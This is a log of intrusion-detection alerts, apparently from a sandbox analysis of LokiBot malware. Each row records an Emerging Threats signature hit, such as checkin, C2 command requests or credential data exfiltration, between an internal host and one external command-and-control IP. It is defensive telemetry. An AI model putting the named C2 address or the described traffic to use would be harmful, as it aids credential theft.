04/03/24-06:38:02.546391 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.218805 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.278543 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.958519 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.198908 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.218805 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.278543 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.256073 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:50.546988 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.947017 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:39.111241 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:00.331066 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.764699 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.043826 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:50.546988 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.911562 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:39.111241 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.952090 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:29.787077 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.958519 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.015339 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.269664 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.269664 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.748494 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.015339 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:40.804238 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.748494 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.952090 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.844436 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.126318 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:50.437190 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.972593 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:45.205065 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.719182 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:53.598973 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.796602 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:23.522239 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:14.340654 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.122430 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.719182 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.122430 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.198908 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:21.763703 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:33.600213 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:52.772037 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.256073 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.796602 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:56.609631 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.151380 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:39.111241 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:47.687505 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.151380 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:07.360242 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.265047 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:59.640455 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:38.407237 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:47.687505 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:48.379699 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:18.685116 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:31.437871 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:11.400710 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:19.372255 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.764699 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.126318 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.873778 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.126318 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:18.685116 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:24.221116 | TCP | 2024317 | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.850228 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.009985 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:24.221116 | TCP | 2024312 | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:44.645218 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49839 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.958519 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.921190 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:31.366751 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.278543 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:31.366751 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.243601 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.947017 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.855566 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.921190 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.958519 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.947017 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:26.534492 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:37.702889 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:35.672062 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.036535 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:53.324729 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.030663 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.982502 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:53.324729 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.982502 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:29.787077 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.210551 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.810149 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.108965 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.791207 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:06.650555 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.890742 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:30.613047 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.972593 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.844436 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.844436 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.890742 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:29.787077 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:02.546391 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.856471 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.873778 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:31.366751 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:50.437190 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.911562 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:08.198877 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.938500 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.151380 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:53.324729 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.813478 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.152524 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.911562 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.126318 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.873778 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:02.546391 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:13.658001 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:40.804238 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:08.198877 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:46.959263 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:16.574818 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.748494 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:40.804238 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:03.254673 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:46.959263 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.938500 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:34.610079 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.015339 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:28.593679 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.732709 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.952090 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.043826 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:28.593679 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.282252 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.043826 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.796602 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:48.379699 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:30.613047 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:40.106892 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.125041 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.093731 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:36.358340 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.093731 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.732709 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.813478 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:47.778229 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.987306 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.042243 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.224947 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:42.314099 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.987496 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:52.638175 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:35.452745 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.269664 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:30.613047 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:35.452745 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.122189 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:48.379699 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:42.314099 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:52.638175 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:40.106892 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:42.416972 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:30.670976 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:32.267354 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:31.437871 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.152524 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:41.484457 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.179954 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:16.574818 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:24.221116 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.122430 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:53.598973 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:57.435447 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:54.423488 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:52.772037 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.062804 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:26.534492 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.904801 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:52.772037 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:30.670976 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
